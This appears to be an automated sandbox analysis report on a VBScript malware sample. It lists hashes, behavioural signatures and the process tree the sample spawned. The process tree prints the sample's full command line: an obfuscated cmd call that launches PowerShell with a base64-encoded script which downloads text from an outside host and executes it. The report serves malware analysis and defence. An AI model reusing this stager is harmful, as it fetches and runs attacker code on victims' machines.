Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21-12-2021 08:19

General

  • Target

    P48274Q89.vbs

  • Size

    872B

  • MD5

    028b34eb17d379cf3688e72225cd95da

  • SHA1

    851db5268715999fc8db2d6292096d19e3830d3b

  • SHA256

    29bd0ab3b7cb939a7def1c4e4bb78c3c9d7e19d580e6292b155e89b13820309f

  • SHA512

    8e1be3d7de63e20e5d8737486b123dff598894bab17f15e69e2ac0f648e4d52b81e261aff26657fc4533ed20845d921e8aec1df2333fe8eeb1ab6d0763975405

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\P48274Q89.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c FOR /F "tokens=11 delims=s\" %g IN ('set^|findstr PSM') do %g -e JAB3AGUAYgByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJwBoAHQAdABwAHMAOgAvAC8AagB1AHMAdABpAGMAZQBtAG8AdQBuAHQALgB4AHkAegAvAHMAZQBlAC8AUABlAC0AQwBvAGQAZQAuAHQAeAB0ACcAKQA7ACQAcgBlAHMAcAA9ACQAdwBlAGIAcgBlAHEALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJAByAGUAcwBwAHMAdAByAGUAYQBtAD0AJAByAGUAcwBwAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAcgBlAGEAZABlAHIAPQBbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAXQA6ADoAbgBlAHcAKAAkAHIAZQBzAHAAcwB0AHIAZQBhAG0AKQA7ACQAYwBvAG4AdABlAG4AdAA9ACQAcgBlAGEAZABlAHIALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwAkAGMAbwBuAHQAZQBuAHQAIAB8ACAAaQBlAHgA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:660
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c set|findstr PSM
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" set"
          4⤵
            PID:1496
          • C:\Windows\system32\findstr.exe
            findstr PSM
            4⤵
              PID:564

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/564-58-0x0000000000000000-mapping.dmp

      • memory/660-55-0x0000000000000000-mapping.dmp

      • memory/756-56-0x0000000000000000-mapping.dmp

      • memory/1496-57-0x0000000000000000-mapping.dmp

      • memory/1672-54-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmp

        Filesize

        8KB